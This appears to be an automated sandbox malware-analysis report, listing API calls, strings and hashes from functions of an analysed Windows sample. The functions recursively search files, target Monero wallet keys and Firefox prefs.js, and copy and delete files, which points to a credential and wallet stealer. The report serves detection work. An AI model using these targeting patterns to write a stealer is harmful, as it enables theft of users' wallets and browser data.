Instruction ID: 551e9ee96da8a2014f7cd1ca5dc3bb6fc5c1b05f5108bebc3f3ea8e2251ecf11
Opcode Fuzzy Hash: b0d7de9c3eb3a7730e22ee3d28102c7f629f65bcf3135c291d7379d4b65fef89
Instruction Fuzzy Hash: 304234B291010CABCB14FB60DD56FFD737DABD4300F408568BA0A96191EE74AF49CB96

Function 009F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 009F492C
FindFirstFileA.KERNEL32(?,?), ref: 009F4943
StrCmpCA.SHLWAPI(?,00A00FDC), ref: 009F4971
StrCmpCA.SHLWAPI(?,00A00FE0), ref: 009F4987
FindNextFileA.KERNEL32(000000FF,?), ref: 009F4B7D
FindClose.KERNEL32(000000FF), ref: 009F4B92

Strings

%s\%s, xrefs: 009F49FB
%s\*, xrefs: 009F4920
%s\%s, xrefs: 009F49A4

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 117be5635da298c2376305cb7b8bcb61a511249547456e38486f172bc35abbed
Instruction ID: 1ef2e68365083b3a756dadb7b0968808c3383d1409686cf963bfffcb9fec5af8
Opcode Fuzzy Hash: 117be5635da298c2376305cb7b8bcb61a511249547456e38486f172bc35abbed
Instruction Fuzzy Hash: 0E6114B1910219ABCB34EBA4DC45FFE737CBB88701F044598B60996181EB75EB85CF91

Function 009F4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 009F4580
RtlAllocateHeap.NTDLL(00000000), ref: 009F4587
wsprintfA.USER32 ref: 009F45A6
FindFirstFileA.KERNEL32(?,?), ref: 009F45BD
StrCmpCA.SHLWAPI(?,00A00FC4), ref: 009F45EB
StrCmpCA.SHLWAPI(?,00A00FC8), ref: 009F4601
FindNextFileA.KERNEL32(000000FF,?), ref: 009F468B
FindClose.KERNEL32(000000FF), ref: 009F46A0
lstrcat.KERNEL32(?,013BE3B0), ref: 009F46C5
lstrcat.KERNEL32(?,013BD1F8), ref: 009F46D8
lstrlen.KERNEL32(?), ref: 009F46E5
lstrlen.KERNEL32(?), ref: 009F46F6

Strings

%s\%s, xrefs: 009F461B
%s\*, xrefs: 009F459A

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 0533a971a69fc0ea6e4a29c31d556b63cc2a89962c166d7bad9e862eeaa89569
Instruction ID: b13d0343f60f2df5ef9eac9918d40980b61d500c19456e0293a91d3ab4f36f7f
Opcode Fuzzy Hash: 0533a971a69fc0ea6e4a29c31d556b63cc2a89962c166d7bad9e862eeaa89569
Instruction Fuzzy Hash: 3F5132B195021CABCB64EB70DC89FFE737CAB58700F404998B61996190EF74DB858F92

Function 009F3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 009F3EC3
FindFirstFileA.KERNEL32(?,?), ref: 009F3EDA
StrCmpCA.SHLWAPI(?,00A00FAC), ref: 009F3F08
StrCmpCA.SHLWAPI(?,00A00FB0), ref: 009F3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 009F406C
FindClose.KERNEL32(000000FF), ref: 009F4081

Strings

%s\%s, xrefs: 009F3EB7

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: efd6c4c8c3993379bedc6c89ef220c5e8b84389fdf876d81620c1892a021f55c
Instruction ID: 394481b34840c6b2a964ccb142b595f43c0ab5579eae64bd1678e254741add07
Opcode Fuzzy Hash: efd6c4c8c3993379bedc6c89ef220c5e8b84389fdf876d81620c1892a021f55c
Instruction Fuzzy Hash: C75132B6910218ABCB24EBB0DC85FFE737CBB84300F404588B75996180DB75EB868F55

Function 009EED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 009EED3E
FindFirstFileA.KERNEL32(?,?), ref: 009EED55
StrCmpCA.SHLWAPI(?,00A01538), ref: 009EEDAB
StrCmpCA.SHLWAPI(?,00A0153C), ref: 009EEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 009EF2AE
FindClose.KERNEL32(000000FF), ref: 009EF2C3

Strings

%s\*.*, xrefs: 009EED32

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: e45c4b1d215689123b9603ff27c5c86b55c2ce1c21aae25d3c760ff7048ff75c
Instruction ID: e50aff57dcf210c8a2ad432e7e9abf4c0024aad5d473cc44d5b9f3764d95d2bb
Opcode Fuzzy Hash: e45c4b1d215689123b9603ff27c5c86b55c2ce1c21aae25d3c760ff7048ff75c
Instruction Fuzzy Hash: 41E1EFB191111CAADB55FB60DC52FFE7338AF94340F4045A9B60E62092EE706F8ACF56

Function 009EF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A015B8,00A00D96), ref: 009EF71E
StrCmpCA.SHLWAPI(?,00A015BC), ref: 009EF76F
StrCmpCA.SHLWAPI(?,00A015C0), ref: 009EF785
FindNextFileA.KERNEL32(000000FF,?), ref: 009EFAB1
FindClose.KERNEL32(000000FF), ref: 009EFAC3

Strings

prefs.js, xrefs: 009EF812

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 0f106f166408715ff19e79f4e9e7c93eb3a1521aa711721c00dd01335afd3a11
Instruction ID: 618e4b68eab81a6ddb7056af233d569c60c69f414030b507e354979c6bd660ab
Opcode Fuzzy Hash: 0f106f166408715ff19e79f4e9e7c93eb3a1521aa711721c00dd01335afd3a11
Instruction Fuzzy Hash: EAB131B191010C9BCB24FF60DC96FFE7379AF94300F4085A9A50E96195EF70AB49CB96

Function 009E16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A0510C,?,?,?,00A051B4,?,?,00000000,?,00000000), ref: 009E1923
StrCmpCA.SHLWAPI(?,00A0525C), ref: 009E1973
StrCmpCA.SHLWAPI(?,00A05304), ref: 009E1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009E1D40
DeleteFileA.KERNEL32(00000000), ref: 009E1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 009E1E20
FindClose.KERNEL32(000000FF), ref: 009E1E32

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Strings

\*.*, xrefs: 009E17F1

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 7129556e686b1b2631b6d8aa6d82458b3e33755800fd7f5328f5e61a389f8ac4
Instruction ID: 50c8327f398e448c8e6677afd3985170d8580286a99d30a1414a9d13682cd2b5
Opcode Fuzzy Hash: 7129556e686b1b2631b6d8aa6d82458b3e33755800fd7f5328f5e61a389f8ac4
Instruction Fuzzy Hash: 5812DEB191011CABDB19EB60DC96FFE7378AF94340F4045A9A60A62091EF706F89CF95

Function 009EDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00A00C2E), ref: 009EDE5E
StrCmpCA.SHLWAPI(?,00A014C8), ref: 009EDEAE
StrCmpCA.SHLWAPI(?,00A014CC), ref: 009EDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 009EE3E0
FindClose.KERNEL32(000000FF), ref: 009EE3F2

Strings

\*.*, xrefs: 009EDE26

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 745fca0e058a8d9cb923aa6c42383c6903efeccc8f50d72e588a5400a278d711
Instruction ID: 8e84b1ad31affee874d7ae549f65713c7e7225949493d0c41c1428b3b69fbe05
Opcode Fuzzy Hash: 745fca0e058a8d9cb923aa6c42383c6903efeccc8f50d72e588a5400a278d711
Instruction Fuzzy Hash: AAF19DB181411DAADB25EB60DC95FFE7338BF94340F8045A9A60E62091EF706F8ACF55

Function 009EDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A014B0,00A00C2A), ref: 009EDAEB
StrCmpCA.SHLWAPI(?,00A014B4), ref: 009EDB33
StrCmpCA.SHLWAPI(?,00A014B8), ref: 009EDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 009EDDCC
FindClose.KERNEL32(000000FF), ref: 009EDDDE

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 7def12d4b8d8435c6f30e9770c81dfc0795de9002465f148b0e4473a342b7cd0
Instruction ID: bfe4084ddef5fd980812193d8768153f0f58c48ba675a8ecf01571fb61d271d0
Opcode Fuzzy Hash: 7def12d4b8d8435c6f30e9770c81dfc0795de9002465f148b0e4473a342b7cd0
Instruction Fuzzy Hash: 489167B2910108A7CB15FB70EC96FFD737DABC4340F408568F90A96191EE74AB49CB92

Function 00DAE5A3 Relevance: 12.9, Strings: 9, Instructions: 1664COMMON

Download Yara Rule

Strings

&3~~, xrefs: 00DAE9AC
3gZ, xrefs: 00DAEFCA
T|6}, xrefs: 00DAF58B
z8-, xrefs: 00DAF1BA
&\=, xrefs: 00DAF644
R|6}, xrefs: 00DAF597
9w;7, xrefs: 00DAEF6F
5)y, xrefs: 00DAE648
:oo, xrefs: 00DAF4F0

Memory Dump Source

Source File: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &3~~$&\=$3gZ$5)y$9w;7$:oo$R|6}$T|6}$z8-
API String ID: 0-496644944
Opcode ID: 27ea8262b94176998c339f81b9e5287da1cdc23c58085b251830670d6455c904
Instruction ID: e7f7622fa7064822c4cddbf673f41fc080c2fc2acd52dfc7d6dae906b783fd4e
Opcode Fuzzy Hash: 27ea8262b94176998c339f81b9e5287da1cdc23c58085b251830670d6455c904
Instruction Fuzzy Hash: E5B22BF3A0C2109FE304AE2DEC8567ABBE5EFD4760F1A853DEAC4D3744E53598058692

Function 009F7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

GetKeyboardLayoutList.USER32(00000000,00000000,00A005AF), ref: 009F7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 009F7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 009F7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 009F7C62
LocalFree.KERNEL32(00000000), ref: 009F7D22

Strings

/ , xrefs: 009F7C7F

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
